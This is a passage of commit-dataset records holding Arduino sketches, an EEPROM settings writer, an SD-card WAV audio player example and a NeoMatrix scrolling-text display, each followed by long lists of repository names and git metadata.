growphase);\n EEPROM_writeAnything(11, daysAdj);\n EEPROM_writeAnything(12, fanON);\n EEPROM_writeAnything(13, fanOFF);\n \/\/EEPROM_writeAnything(14, Tolerance);\n EEPROM_writeAnything(15, TimeAdjust);\n EEPROM_writeAnything(19, LightON);\n EEPROM_writeAnything(23, LightOFF);\n EEPROM_writeAnything(27, dutyCycle);\n EEPROM_writeAnything(31, Kp);\n EEPROM_writeAnything(35, Ki);\n EEPROM_writeAnything(39, Kd);\n \/\/EEPROM_writeAnything(31, minCool);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'EEPROM.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"86ae5cdfa49ec304d8e5b97e60cb368a64a60ef9","subject":"added simple audio player example","message":"added simple audio player example\n","repos":"zaiexx\/Arduino,superboonie\/Arduino,zenmanenergy\/Arduino,jaehong\/Xmegaduino,noahchense\/Arduino-1,fungxu\/Arduino,henningpohl\/Arduino,ccoenen\/Arduino,Chris--A\/Arduino,kidswong999\/Arduino,ikbelkirasan\/Arduino,radut\/Arduino,Chris--A\/Arduino,damellis\/Arduino,gestrem\/Arduino,ricklon\/Arduino,Cloudino\/Arduino,weera00\/Arduino,NaSymbol\/Arduino,tomkrus007\/Arduino,PeterVH\/Arduino,eddyst\/Arduino-SourceCode,toddtreece\/esp8266-Arduino,tskurauskas\/Arduino,mateuszdw\/Arduino,chaveiro\/Arduino,Alfredynho\/AgroSis,raimohanska\/Arduino,Cloudino\/Arduino,ikbelkirasan\/Arduino,ari-analytics\/Arduino,ccoenen\/Arduino,wilhelmryan\/Arduino,jaehong\/Xmegaduino,eeijcea\/Arduino-1,OpenDevice\/Arduino,arduino-org\/Arduino,arunkuttiyara\/Arduino,spapadim\/Arduino,ektor5\/Arduino,xxxajk\/Arduino-1,wayoda\/Arduino,rcook\/DesignLab,nandojve\/Arduino,mangelajo\/Arduino,KlaasDeNys\/Arduino,PaoloP74\/Arduino,wdoganowski\/Arduino,jomolinare\/Arduino,gberl001\/Arduino,cscenter\/Arduino,ashwin713\/Arduino,arduino-org\/Arduino,tomkrus007\/Arduino,mateuszdw\/Arduino,ForestNymph\/Arduino_sources,Gourav2906\/Arduino,bigjosh\/Arduino,wilhelmryan\/Arduino,tbowmo\/Arduino,ektor5\/Arduino,vbextreme\/Arduino,superboonie\/Arduino,tskurauskas\/Arduino,eggfly\/arduino,shannonshsu\/Arduino,weera00\/Arduino,Chris--A\/Arduino,kidswong999\/Arduino,lukeWal\/Arduino,Gourav2906\/Arduino,adamkh\/Arduino,fungxu\/Arduino,eeijcea\/Arduino-1,paulmand3l\/Arduino,UDOOboard\/Arduino,zenmanenergy\/Arduino,KlaasDeNys\/Arduino,cscenter\/Arduino,gonium\/Arduino,tskurauskas\/Arduino,tskurauskas\/Arduino,Gourav2906\/Arduino,ashwin713\/Arduino,rcook\/DesignLab,cscenter\/Arduino,gberl001\/Arduino,Gourav2906\/Arduino,NaSymbol\/Arduino,danielchalef\/Arduino,ari-analytics\/Arduino,smily77\/Arduino,KlaasDeNys\/Arduino,niggor\/Arduino_cc,mateuszdw\/Arduino,adamkh\/Arduino,vbextreme\/Arduino,NicoHood\/Arduino,aichi\/Arduino-2,SmartArduino\/Arduino-1,henningpohl\/Arduino,jaej-dev\/Arduino,drpjk\/Arduino,ntruchsess\/Arduino-1,ogahara\/Arduino,smily77\/Arduino,NicoHood\/Arduino,byran\/Arduino,scdls\/Arduino,nandojve\/Arduino,drpjk\/Arduino,KlaasDeNys\/Arduino,plinioseniore\/Arduino,myrtleTree33\/Arduino,garci66\/Arduino,damellis\/Arduino,lulufei\/Arduino,pdNor\/Arduino,plinioseniore\/Arduino,eduardocasarin\/Arduino,zaiexx\/Arduino,shiitakeo\/Arduino,ikbelkirasan\/Arduino,ikbelkirasan\/Arduino,henningpohl\/Arduino,PeterVH\/Arduino,adamkh\/Arduino,leftbrainstrain\/Arduino-ESP8266,jmgonzalez00449\/Arduino,byran\/Arduino,ntruchsess\/Arduino-1,lukeWal\/Arduino,stevemayhew\/Arduino,eggfly\/arduino,PeterVH\/Arduino,tommyli2014\/Arduino,ogahara\/Arduino,jmgonzalez00449\/Arduino,scdls\/Arduino,paulmand3l\/Arduino,ikbelkirasan\/Arduino,chaveiro\/Arduino,NeuralSpaz\/Arduino,Protoneer\/Arduino,piersoft\/esp8266-Arduino,paulo-raca\/ESP8266-Arduino,myrtleTree33\/Arduino,ogferreiro\/Arduino,mattvenn\/Arduino,shannonshsu\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,tbowmo\/Arduino,Protoneer\/Arduino,arduino-org\/Arduino,ssvs111\/Arduino,paulmand3l\/Arduino,probonopd\/Arduino,chaveiro\/Arduino,leftbrainstrain\/Arduino-ESP8266,andyvand\/Arduino-1,wayoda\/Arduino,garci66\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Cloudino\/Arduino,jaehong\/Xmegaduino,shannonshsu\/Arduino,jomolinare\/Arduino,mc-hamster\/esp8266-Arduino,stickbreaker\/Arduino,pdNor\/Arduino,shannonshsu\/Arduino,zaiexx\/Arduino,laylthe\/Arduino,adamkh\/Arduino,ForestNymph\/Arduino_sources,mateuszdw\/Arduino,weera00\/Arduino,SmartArduino\/Arduino-1,arduino-org\/Arduino,aichi\/Arduino-2,acosinwork\/Arduino,wayoda\/Arduino,wdoganowski\/Arduino,koltegirish\/Arduino,jomolinare\/Arduino,EmuxEvans\/Arduino,steamboating\/Arduino,niggor\/Arduino_cc,HCastano\/Arduino,andrealmeidadomingues\/Arduino,kidswong999\/Arduino,ricklon\/Arduino,acosinwork\/Arduino,vbextreme\/Arduino,bigjosh\/Arduino,eeijcea\/Arduino-1,lukeWal\/Arduino,bsmr-arduino\/Arduino,koltegirish\/Arduino,gurbrinder\/Arduino,gurbrinder\/Arduino,jamesrob4\/Arduino,tommyli2014\/Arduino,gurbrinder\/Arduino,garci66\/Arduino,jaehong\/Xmegaduino,henningpohl\/Arduino,jamesrob4\/Arduino,gurbrinder\/Arduino,scdls\/Arduino,andrealmeidadomingues\/Arduino,toddtreece\/esp8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,bsmr-arduino\/Arduino,OpenDevice\/Arduino,PeterVH\/Arduino,UDOOboard\/Arduino,garci66\/Arduino,EmuxEvans\/Arduino,smily77\/Arduino,superboonie\/Arduino,tannewt\/Arduino,mangelajo\/Arduino,ssvs111\/Arduino,benwolfe\/esp8266-Arduino,stevemarple\/Arduino-org,vbextreme\/Arduino,EmuxEvans\/Arduino,talhaburak\/Arduino,niggor\/Arduino_cc,noahchense\/Arduino-1,onovy\/Arduino,xxxajk\/Arduino-1,gonium\/Arduino,weera00\/Arduino,majenkotech\/Arduino,damellis\/Arduino,nkolban\/Arduino,sanyaade-iot\/Arduino-1,pdNor\/Arduino,mateuszdw\/Arduino,PeterVH\/Arduino,onovy\/Arduino,cscenter\/Arduino,jaimemaretoli\/Arduino,niggor\/Arduino_cc,eggfly\/arduino,NeuralSpaz\/Arduino,vbextreme\/Arduino,adafruit\/ESP8266-Arduino,arunkuttiyara\/Arduino,fungxu\/Arduino,lulufei\/Arduino,andyvand\/Arduino-1,tommyli2014\/Arduino,Cloudino\/Cloudino-Arduino-IDE,aichi\/Arduino-2,probonopd\/Arduino,NicoHood\/Arduino,bsmr-arduino\/Arduino,snargledorf\/Arduino,NaSymbol\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NicoHood\/Arduino,rcook\/DesignLab,tbowmo\/Arduino,leftbrainstrain\/Arduino-ESP8266,smily77\/Arduino,tannewt\/Arduino,acosinwork\/Arduino,nandojve\/Arduino,ogahara\/Arduino,snargledorf\/Arduino,sanyaade-iot\/Arduino-1,eeijcea\/Arduino-1,Chris--A\/Arduino,piersoft\/esp8266-Arduino,Chris--A\/Arduino,mattvenn\/Arduino,wdoganowski\/Arduino,radut\/Arduino,andyvand\/Arduino-1,stevemayhew\/Arduino,jabezGit\/Arduino,jaej-dev\/Arduino,adamkh\/Arduino,zederson\/Arduino,shannonshsu\/Arduino,zenmanenergy\/Arduino,jmgonzalez00449\/Arduino,stevemarple\/Arduino-org,gberl001\/Arduino,gestrem\/Arduino,plaintea\/esp8266-Arduino,jamesrob4\/Arduino,lukeWal\/Arduino,paulo-raca\/ESP8266-Arduino,onovy\/Arduino,aichi\/Arduino-2,leftbrainstrain\/Arduino-ESP8266,plinioseniore\/Arduino,garci66\/Arduino,zederson\/Arduino,adafruit\/ESP8266-Arduino,bigjosh\/Arduino,Protoneer\/Arduino,wdoganowski\/Arduino,aichi\/Arduino-2,ogferreiro\/Arduino,plinioseniore\/Arduino,tomkrus007\/Arduino,stevemayhew\/Arduino,jamesrob4\/Arduino,laylthe\/Arduino,shiitakeo\/Arduino,stickbreaker\/Arduino,paulmand3l\/Arduino,koltegirish\/Arduino,andrealmeidadomingues\/Arduino,talhaburak\/Arduino,ashwin713\/Arduino,jabezGit\/Arduino,PaoloP74\/Arduino,gberl001\/Arduino,Cloudino\/Arduino,tbowmo\/Arduino,jamesrob4\/Arduino,stickbreaker\/Arduino,plinioseniore\/Arduino,spapadim\/Arduino,arunkuttiyara\/Arduino,majenkotech\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,eggfly\/arduino,arunkuttiyara\/Arduino,koltegirish\/Arduino,mangelajo\/Arduino,ntruchsess\/Arduino-1,PeterVH\/Arduino,talhaburak\/Arduino,eduardocasarin\/Arduino,drpjk\/Arduino,myrtleTree33\/Arduino,radut\/Arduino,rcook\/DesignLab,Cloudino\/Cloudino-Arduino-IDE,wilhelmryan\/Arduino,talhaburak\/Arduino,ntruchsess\/Arduino-1,bsmr-arduino\/Arduino,UDOOboard\/Arduino,tannewt\/Arduino,HCastano\/Arduino,adafruit\/ESP8266-Arduino,PaoloP74\/Arduino,nandojve\/Arduino,PaoloP74\/Arduino,me-no-dev\/Arduino-1,paulmand3l\/Arduino,tannewt\/Arduino,eddyst\/Arduino-SourceCode,gestrem\/Arduino,stickbreaker\/Arduino,garci66\/Arduino,ForestNymph\/Arduino_sources,jaehong\/Xmegaduino,wayoda\/Arduino,probonopd\/Arduino,me-no-dev\/Arduino-1,SmartArduino\/Arduino-1,ForestNymph\/Arduino_sources,jabezGit\/Arduino,SmartArduino\/Arduino-1,spapadim\/Arduino,andyvand\/Arduino-1,shiitakeo\/Arduino,NaSymbol\/Arduino,rcook\/DesignLab,mc-hamster\/esp8266-Arduino,ogahara\/Arduino,ntruchsess\/Arduino-1,snargledorf\/Arduino,probonopd\/Arduino,jaej-dev\/Arduino,raimohanska\/Arduino,acosinwork\/Arduino,tbowmo\/Arduino,fungxu\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,eddyst\/Arduino-SourceCode,Gourav2906\/Arduino,kidswong999\/Arduino,mangelajo\/Arduino,lulufei\/Arduino,nkolban\/Arduino,jaehong\/Xmegaduino,drpjk\/Arduino,ogferreiro\/Arduino,NaSymbol\/Arduino,nkolban\/Arduino,nandojve\/Arduino,stickbreaker\/Arduino,stevemarple\/Arduino-org,arduino-org\/Arduino,nkolban\/Arduino,mc-hamster\/esp8266-Arduino,lulufei\/Arduino,nkolban\/Arduino,tomkrus007\/Arduino,OpenDevice\/Arduino,eggfly\/arduino,danielchalef\/Arduino,jaehong\/Xmegaduino,Alfredynho\/AgroSis,ogferreiro\/Arduino,arduino-org\/Arduino,cscenter\/Arduino,wayoda\/Arduino,ari-analytics\/Arduino,weera00\/Arduino,probonopd\/Arduino,tskurauskas\/Arduino,HCastano\/Arduino,danielchalef\/Arduino,Protoneer\/Arduino,EmuxEvans\/Arduino,eddyst\/Arduino-SourceCode,EmuxEvans\/Arduino,ogferreiro\/Arduino,steamboating\/Arduino,gonium\/Arduino,majenkotech\/Arduino,bsmr-arduino\/Arduino,tbowmo\/Arduino,nandojve\/Arduino,eduardocasarin\/Arduino,Protoneer\/Arduino,scdls\/Arduino,raimohanska\/Arduino,jaimemaretoli\/Arduino,HCastano\/Arduino,stevemayhew\/Arduino,plaintea\/esp8266-Arduino,aichi\/Arduino-2,shiitakeo\/Arduino,ccoenen\/Arduino,mattvenn\/Arduino,majenkotech\/Arduino,adafruit\/ESP8266-Arduino,radut\/Arduino,NicoHood\/Arduino,adafruit\/ESP8266-Arduino,ricklon\/Arduino,toddtreece\/esp8266-Arduino,stickbreaker\/Arduino,byran\/Arduino,henningpohl\/Arduino,adafruit\/ESP8266-Arduino,paulo-raca\/ESP8266-Arduino,byran\/Arduino,stickbreaker\/Arduino,sanyaade-iot\/Arduino-1,stevemarple\/Arduino-org,ricklon\/Arduino,myrtleTree33\/Arduino,acosinwork\/Arduino,radut\/Arduino,garci66\/Arduino,stevemayhew\/Arduino,superboonie\/Arduino,onovy\/Arduino,ccoenen\/Arduino,leftbrainstrain\/Arduino-ESP8266,karlitxo\/Arduino,myrtleTree33\/Arduino,xxxajk\/Arduino-1,niggor\/Arduino_cc,superboonie\/Arduino,eeijcea\/Arduino-1,jabezGit\/Arduino,jomolinare\/Arduino,ogferreiro\/Arduino,lukeWal\/Arduino,andyvand\/Arduino-1,ektor5\/Arduino,drpjk\/Arduino,OpenDevice\/Arduino,raimohanska\/Arduino,tannewt\/Arduino,plinioseniore\/Arduino,OpenDevice\/Arduino,bigjosh\/Arduino,bsmr-arduino\/Arduino,Cloudino\/Cloudino-Arduino-IDE,andrealmeidadomingues\/Arduino,ogferreiro\/Arduino,OpenDevice\/Arduino,zederson\/Arduino,benwolfe\/esp8266-Arduino,ikbelkirasan\/Arduino,benwolfe\/esp8266-Arduino,shannonshsu\/Arduino,shiitakeo\/Arduino,bigjosh\/Arduino,ssvs111\/Arduino,ssvs111\/Arduino,piersoft\/esp8266-Arduino,wilhelmryan\/Arduino,Chris--A\/Arduino,xxxajk\/Arduino-1,Gourav2906\/Arduino,eddyst\/Arduino-SourceCode,plaintea\/esp8266-Arduino,raimohanska\/Arduino,tskurauskas\/Arduino,gestrem\/Arduino,ssvs111\/Arduino,gonium\/Arduino,zederson\/Arduino,niggor\/Arduino_cc,lulufei\/Arduino,eduardocasarin\/Arduino,ccoenen\/Arduino,KlaasDeNys\/Arduino,cscenter\/Arduino,stevemayhew\/Arduino,kidswong999\/Arduino,byran\/Arduino,gurbrinder\/Arduino,ogahara\/Arduino,PeterVH\/Arduino,UDOOboard\/Arduino,jomolinare\/Arduino,tbowmo\/Arduino,ntruchsess\/Arduino-1,fungxu\/Arduino,pdNor\/Arduino,ssvs111\/Arduino,mateuszdw\/Arduino,NicoHood\/Arduino,karlitxo\/Arduino,NaSymbol\/Arduino,henningpohl\/Arduino,shannonshsu\/Arduino,KlaasDeNys\/Arduino,HCastano\/Arduino,snargledorf\/Arduino,jaej-dev\/Arduino,vbextreme\/Arduino,talhaburak\/Arduino,raimohanska\/Arduino,steamboating\/Arduino,xxxajk\/Arduino-1,bsmr-arduino\/Arduino,OpenDevice\/Arduino,eddyst\/Arduino-SourceCode,ektor5\/Arduino,danielchalef\/Arduino,danielchalef\/Arduino,plinioseniore\/Arduino,chaveiro\/Arduino,jomolinare\/Arduino,andyvand\/Arduino-1,eggfly\/arduino,noahchense\/Arduino-1,fungxu\/Arduino,stevemarple\/Arduino-org,talhaburak\/Arduino,me-no-dev\/Arduino-1,pdNor\/Arduino,jmgonzalez00449\/Arduino,leftbrainstrain\/Arduino-ESP8266,nandojve\/Arduino,mattvenn\/Arduino,lukeWal\/Arduino,wdoganowski\/Arduino,ikbelkirasan\/Arduino,zaiexx\/Arduino,jabezGit\/Arduino,Alfredynho\/AgroSis,nandojve\/Arduino,karlitxo\/Arduino,koltegirish\/Arduino,paulo-raca\/ESP8266-Arduino,mboufos\/esp8266-Arduino,ntruchsess\/Arduino-1,pdNor\/Arduino,noahchense\/Arduino-1,wayoda\/Arduino,NicoHood\/Arduino,majenkotech\/Arduino,Gourav2906\/Arduino,laylthe\/Arduino,tomkrus007\/Arduino,Protoneer\/Arduino,superboonie\/Arduino,gonium\/Arduino,ari-analytics\/Arduino,wilhelmryan\/Arduino,HCastano\/Arduino,Gourav2906\/Arduino,PaoloP74\/Arduino,smily77\/Arduino,spapadim\/Arduino,NeuralSpaz\/Arduino,raimohanska\/Arduino,stevemayhew\/Arduino,sanyaade-iot\/Arduino-1,mboufos\/esp8266-Arduino,spapadim\/Arduino,NeuralSpaz\/Arduino,mattvenn\/Arduino,jabezGit\/Arduino,eduardocasarin\/Arduino,chaveiro\/Arduino,plaintea\/esp8266-Arduino,ccoenen\/Arduino,zederson\/Arduino,snargledorf\/Arduino,wilhelmryan\/Arduino,karlitxo\/Arduino,jaej-dev\/Arduino,probonopd\/Arduino,Cloudino\/Arduino,koltegirish\/Arduino,byran\/Arduino,andrealmeidadomingues\/Arduino,benwolfe\/esp8266-Arduino,tannewt\/Arduino,byran\/Arduino,cscenter\/Arduino,kidswong999\/Arduino,me-no-dev\/Arduino-1,arunkuttiyara\/Arduino,eddyst\/Arduino-SourceCode,ari-analytics\/Arduino,andrealmeidadomingues\/Arduino,aichi\/Arduino-2,pdNor\/Arduino,paulo-raca\/ESP8266-Arduino,noahchense\/Arduino-1,onovy\/Arduino,bigjosh\/Arduino,mangelajo\/Arduino,EmuxEvans\/Arduino,spapadim\/Arduino,arunkuttiyara\/Arduino,spapadim\/Arduino,mboufos\/esp8266-Arduino,adamkh\/Arduino,gberl001\/Arduino,scdls\/Arduino,zenmanenergy\/Arduino,andrealmeidadomingues\/Arduino,laylthe\/Arduino,adamkh\/Arduino,probonopd\/Arduino,jabezGit\/Arduino,PaoloP74\/Arduino,eeijcea\/Arduino-1,ashwin713\/Arduino,jmgonzalez00449\/Arduino,ricklon\/Arduino,acosinwork\/Arduino,eduardocasarin\/Arduino,gurbrinder\/Arduino,henningpohl\/Arduino,koltegirish\/Arduino,nkolban\/Arduino,myrtleTree33\/Arduino,stevemarple\/Arduino-org,jaimemaretoli\/Arduino,karlitxo\/Arduino,tommyli2014\/Arduino,PaoloP74\/Arduino,garci66\/Arduino,ccoenen\/Arduino,damellis\/Arduino,radut\/Arduino,weera00\/Arduino,Chris--A\/Arduino,lulufei\/Arduino,ashwin713\/Arduino,ashwin713\/Arduino,onovy\/Arduino,adamkh\/Arduino,smily77\/Arduino,shiitakeo\/Arduino,eduardocasarin\/Arduino,ntruchsess\/Arduino-1,henningpohl\/Arduino,wilhelmryan\/Arduino,mateuszdw\/Arduino,jaimemaretoli\/Arduino,UDOOboard\/Arduino,zenmanenergy\/Arduino,snargledorf\/Arduino,ari-analytics\/Arduino,shannonshsu\/Arduino,tskurauskas\/Arduino,zaiexx\/Arduino,NicoHood\/Arduino,sanyaade-iot\/Arduino-1,danielchalef\/Arduino,superboonie\/Arduino,shiitakeo\/Arduino,arduino-org\/Arduino,jomolinare\/Arduino,acosinwork\/Arduino,laylthe\/Arduino,radut\/Arduino,gberl001\/Arduino,paulmand3l\/Arduino,wdoganowski\/Arduino,chaveiro\/Arduino,tbowmo\/Arduino,ogahara\/Arduino,steamboating\/Arduino,sanyaade-iot\/Arduino-1,ccoenen\/Arduino,ForestNymph\/Arduino_sources,wayoda\/Arduino,scdls\/Arduino,damellis\/Arduino,tommyli2014\/Arduino,adafruit\/ESP8266-Arduino,jaimemaretoli\/Arduino,mc-hamster\/esp8266-Arduino,leftbrainstrain\/Arduino-ESP8266,lukeWal\/Arduino,tskurauskas\/Arduino,tomkrus007\/Arduino,ricklon\/Arduino,NeuralSpaz\/Arduino,jaej-dev\/Arduino,lulufei\/Arduino,paulo-raca\/ESP8266-Arduino,mattvenn\/Arduino,EmuxEvans\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,Alfredynho\/AgroSis,stevemarple\/Arduino-org,wayoda\/Arduino,Cloudino\/Arduino,Cloudino\/Cloudino-Arduino-IDE,tommyli2014\/Arduino,xxxajk\/Arduino-1,niggor\/Arduino_cc,mboufos\/esp8266-Arduino,tomkrus007\/Arduino,gurbrinder\/Arduino,zederson\/Arduino,arunkuttiyara\/Arduino,damellis\/Arduino,chaveiro\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,tomkrus007\/Arduino,pdNor\/Arduino,bigjosh\/Arduino,Alfredynho\/AgroSis,zenmanenergy\/Arduino,me-no-dev\/Arduino-1,noahchense\/Arduino-1,zederson\/Arduino,majenkotech\/Arduino,chaveiro\/Arduino,ForestNymph\/Arduino_sources,mc-hamster\/esp8266-Arduino,me-no-dev\/Arduino-1,Cloudino\/Arduino,smily77\/Arduino,gonium\/Arduino,ari-analytics\/Arduino,ssvs111\/Arduino,laylthe\/Arduino,fungxu\/Arduino,HCastano\/Arduino,sanyaade-iot\/Arduino-1,UDOOboard\/Arduino,mangelajo\/Arduino,ashwin713\/Arduino,HCastano\/Arduino,niggor\/Arduino_cc,steamboating\/Arduino,ricklon\/Arduino,talhaburak\/Arduino,Alfredynho\/AgroSis,ari-analytics\/Arduino,andyvand\/Arduino-1,Chris--A\/Arduino,paulo-raca\/ESP8266-Arduino,KlaasDeNys\/Arduino,eggfly\/arduino,UDOOboard\/Arduino,drpjk\/Arduino,steamboating\/Arduino,piersoft\/esp8266-Arduino,niggor\/Arduino_cc,acosinwork\/Arduino,damellis\/Arduino,vbextreme\/Arduino,zaiexx\/Arduino,NaSymbol\/Arduino,wdoganowski\/Arduino,kidswong999\/Arduino,jmgonzalez00449\/Arduino,majenkotech\/Arduino,arduino-org\/Arduino,weera00\/Arduino,stevemayhew\/Arduino,ektor5\/Arduino,tommyli2014\/Arduino,jaimemaretoli\/Arduino,nkolban\/Arduino,eddyst\/Arduino-SourceCode,tannewt\/Arduino,KlaasDeNys\/Arduino,jmgonzalez00449\/Arduino,lukeWal\/Arduino,zenmanenergy\/Arduino,cscenter\/Arduino,NeuralSpaz\/Arduino,byran\/Arduino,gestrem\/Arduino,kidswong999\/Arduino,gestrem\/Arduino,karlitxo\/Arduino,ForestNymph\/Arduino_sources,ThoughtWorksIoTGurgaon\/Arduino,superboonie\/Arduino,stevemarple\/Arduino-org,jaimemaretoli\/Arduino,snargledorf\/Arduino,plaintea\/esp8266-Arduino,NeuralSpaz\/Arduino,mattvenn\/Arduino,vbextreme\/Arduino,rcook\/DesignLab,ektor5\/Arduino,steamboating\/Arduino,danielchalef\/Arduino,rcook\/DesignLab,Protoneer\/Arduino,laylthe\/Arduino,gonium\/Arduino,jamesrob4\/Arduino,gestrem\/Arduino,onovy\/Arduino,jaimemaretoli\/Arduino,Alfredynho\/AgroSis,SmartArduino\/Arduino-1,ashwin713\/Arduino,talhaburak\/Arduino,jaej-dev\/Arduino,NaSymbol\/Arduino,scdls\/Arduino,mboufos\/esp8266-Arduino,PeterVH\/Arduino,karlitxo\/Arduino,jamesrob4\/Arduino,ogahara\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,noahchense\/Arduino-1,me-no-dev\/Arduino-1,xxxajk\/Arduino-1,eggfly\/arduino,bsmr-arduino\/Arduino,xxxajk\/Arduino-1,piersoft\/esp8266-Arduino,paulmand3l\/Arduino,SmartArduino\/Arduino-1,drpjk\/Arduino,me-no-dev\/Arduino-1,mangelajo\/Arduino,gberl001\/Arduino,zaiexx\/Arduino,zaiexx\/Arduino,eeijcea\/Arduino-1,ikbelkirasan\/Arduino,myrtleTree33\/Arduino,jmgonzalez00449\/Arduino,PaoloP74\/Arduino,bigjosh\/Arduino,benwolfe\/esp8266-Arduino,jabezGit\/Arduino,SmartArduino\/Arduino-1","old_file":"hardware\/arduino\/sam\/libraries\/Audio\/examples\/SimpleAudioPlayer\/SimpleAudioPlayer.ino","new_file":"hardware\/arduino\/sam\/libraries\/Audio\/examples\/SimpleAudioPlayer\/SimpleAudioPlayer.ino","new_contents":"#include <SD.h>\n#include <SPI.h>\n#include <Audio.h>\n\nvoid setup()\n{\n \/\/ debug output at 115.2K\n Serial.begin(115200);\n\n \/\/ setup SD-card\n Serial.print(\"Initializing SD card...\");\n if (!SD.begin(4)) {\n Serial.println(\" failed!\");\n return;\n }\n Serial.println(\" done.\");\n \/\/ hi-speed SPI transfers\n SPI.setClockDivider(4);\n\n \/\/ 44100Khz stereo => 88200 sample rate\n \/\/ 100 mSec of prebuffering.\n Audio.begin(88200, 100);\n}\n\nvoid loop()\n{\n int count=0;\n\n \/\/ open wave file from sdcard\n File myFile = SD.open(\"fadh.wav\");\n if (!myFile) {\n \/\/ if the file didn't open, print an error and stop\n Serial.println(\"error opening fadh.wav\");\n while (true);\n }\n\n const int S=1024; \/\/ Number of samples to read in block\n int16_t buffer[S];\n\n Serial.print(\"Playing\");\n \/\/ until the file is not finished\n while (myFile.available()) {\n \/\/ read from the file into buffer\n myFile.read(buffer, sizeof(buffer));\n\n \/\/ Prepare samples\n int volume = analogRead(2);\n prepare(buffer, S, volume);\n \/\/ Feed samples to audio\n Audio.write(buffer, S);\n\n \/\/ Every 100 block print a '.'\n count++;\n if (count == 100) {\n Serial.print(\".\");\n count = 0;\n }\n }\n myFile.close();\n\n\n Serial.println(\"End of file. Thank you for listening!\");\n while (true) ;\n}\n\n\nvoid prepare(int16_t *buffer, int S, int volume) {\n uint16_t *ubuffer = (uint16_t*) buffer;\n for (int i=0; i<S; i++) {\n \/\/ set volume amplitude (signed multiply)\n buffer[i] = buffer[i] * volume \/ 1024;\n \/\/ convert from signed 16 bit to unsigned 12 bit for DAC.\n ubuffer[i] += 0x8000;\n ubuffer[i] >>= 4;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/arduino\/sam\/libraries\/Audio\/examples\/SimpleAudioPlayer\/SimpleAudioPlayer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"94abf434402f3e80b380ba2f250a117fca9faeba","subject":"Create Matrix.ino","message":"Create Matrix.ino","repos":"EastRobotics\/2616C,EastRobotics\/2616C","old_file":"Matrix.ino","new_file":"Matrix.ino","new_contents":"\n#include <Adafruit_NeoMatrix.h>\n#include <Adafruit_NeoPixel.h>\n\n#define PIN 6\n\nAdafruit_NeoMatrix matrix = Adafruit_NeoMatrix(32, 8,1,2, PIN,\n NEO_MATRIX_BOTTOM + NEO_MATRIX_RIGHT+\n NEO_MATRIX_COLUMNS + NEO_MATRIX_ZIGZAG,\n NEO_GRB + NEO_KHZ800);\n\nconst uint16_t colors[] = {\n matrix.Color(255, 0, 0), matrix.Color(0, 255, 0), matrix.Color(0, 0, 255) };\n\nvoid setup() {\n matrix.begin();\n matrix.setTextWrap(false);\n matrix.setBrightness(24);\n matrix.setTextColor(colors[0]);\n matrix.setTextSize(2);\n\n}\n\nint x = matrix.width();\nint pass = 0;\n\n\nvoid loop() {\n matrix.fillScreen(0);\n matrix.setCursor(x, 2);\n matrix.print(\"J&J Snack Foods Corp.\");\n if(--x < -350) {\n x = matrix.width();\n if(++pass >= 3) pass = 0;\n matrix.setTextColor(colors[pass]);\n }\n matrix.show();\n delay(100);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Matrix.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"7ca3392bd980131455d81480dde06114814729cb","subject":"Adds first draft of Light Shield Arduino-side code.","message":"Adds first draft of Light Shield Arduino-side code.\n\n\nFormer-commit-id: ff8922a7cf275656b0c0826e22071e19eeba9859","repos":"jgkamat\/igvc-software,vmurahari3\/igvc-software,rmkeezer\/igvc-software,thomaswyatt01\/igvc-software,thaeds\/igvc-software,rqiu8\/igvc-software,ytulsiani\/igvc-software,DavidPurcell\/igvc-software,prabhu-dev\/LineDetectorLengthFix,monstorium\/igvc-software,vmurahari3\/igvc-software,ytulsiani\/igvc-software,jondolan\/igvc-software,monstorium\/igvc-software,rqiu8\/igvc-software,jzheng84\/igvc-software,RoboJackets\/igvc-software,sayakchatterjee\/igvc-software,seanrsain\/igvc-software,sgadgil6\/igvc-software,monstorium\/igvc-software,jzheng84\/igvc-software,sgadgil6\/igvc-software,rmkeezer\/igvc-software,dpattison3\/igvc-software,jgkamat\/igvc-software,zachcmathews\/igvc-software,kscharm\/igvc-software,DavidPurcell\/igvc-software,dpattison3\/igvc-software,sgadgil6\/igvc-software,RoboJackets\/igvc-software,kscharm\/igvc-software,sgadgil6\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jgkamat\/igvc-software,jondolan\/igvc-software,nareddyt\/igvc-software,rmkeezer\/igvc-software,vmurahari3\/igvc-software,zachcmathews\/igvc-software,rortiz9\/igvc-software,thomaswyatt01\/igvc-software,sgadgil6\/igvc-software,jondolan\/igvc-software,prabhu-dev\/LineDetectorLengthFix,thaeds\/igvc-software,ytulsiani\/igvc-software,seanrsain\/igvc-software,zachcmathews\/igvc-software,jondolan\/igvc-software,sayakchatterjee\/igvc-software,nareddyt\/igvc-software,jondolan\/igvc-software,ytulsiani\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jzheng84\/igvc-software,nareddyt\/igvc-software,dpattison3\/igvc-software,kscharm\/igvc-software,DavidPurcell\/igvc-software,thaeds\/igvc-software,thomaswyatt01\/igvc-software,RoboJackets\/igvc-software,seanrsain\/igvc-software,rqiu8\/igvc-software,monstorium\/igvc-software,ytulsiani\/igvc-software,rqiu8\/igvc-software,seanrsain\/igvc-software,rortiz9\/igvc-software,nareddyt\/igvc-software,thomaswyatt01\/igvc-software,rqiu8\/igvc-software,jgkamat\/igvc-software,DavidPurcell\/igvc-software,DavidPurcell\/igvc-software,monstorium\/igvc-software,thaeds\/igvc-software,zachcmathews\/igvc-software,thomaswyatt01\/igvc-software,jgkamat\/igvc-software,prabhu-dev\/LineDetectorLengthFix,sayakchatterjee\/igvc-software,jzheng84\/igvc-software,rortiz9\/igvc-software,zachcmathews\/igvc-software